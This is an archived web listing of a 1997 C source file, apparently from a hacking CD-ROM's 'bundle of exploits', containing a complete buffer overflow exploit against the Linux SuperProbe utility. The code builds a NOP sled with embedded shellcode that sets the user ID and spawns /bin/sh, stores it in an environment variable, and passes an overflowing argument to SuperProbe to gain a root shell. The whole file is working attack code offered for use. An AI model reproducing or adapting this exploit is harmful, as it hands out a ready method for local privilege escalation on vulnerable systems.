home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / lin_probe.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  998b  |  41 lines

  1. /*
  2.  * SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
  3.  * Copyright (c) 1997 by Solar Designer
  4.  */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <unistd.h>
  8.  
  9. char *shellcode =
  10.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  11.   "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
  12.   "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
  13.   "\x31\xdb\xcd\x80/"
  14.   "/bin/sh"
  15.   "0";
  16.  
  17. char *get_sp() {
  18.   asm("movl %esp,%eax");
  19. }
  20.  
  21. #define bufsize 8192
  22. #define alignment 0
  23. char buffer[bufsize];
  24.  
  25. main() {
  26.   int i;
  27.  
  28.   for (i = 0; i < bufsize / 2; i += 4)
  29.     *(char **)&buffer[i] = get_sp() - 2048;
  30.   memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
  31.   strcpy(&buffer[bufsize - 256], shellcode);
  32.   setenv("SHELLCODE", buffer, 1);
  33.  
  34.   memset(buffer, 'x', 72);
  35.   *(char **)&buffer[72] = get_sp() - 6144 - alignment;
  36.   buffer[76] = 0;
  37.  
  38.   execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
  39. }
  40.  
  41.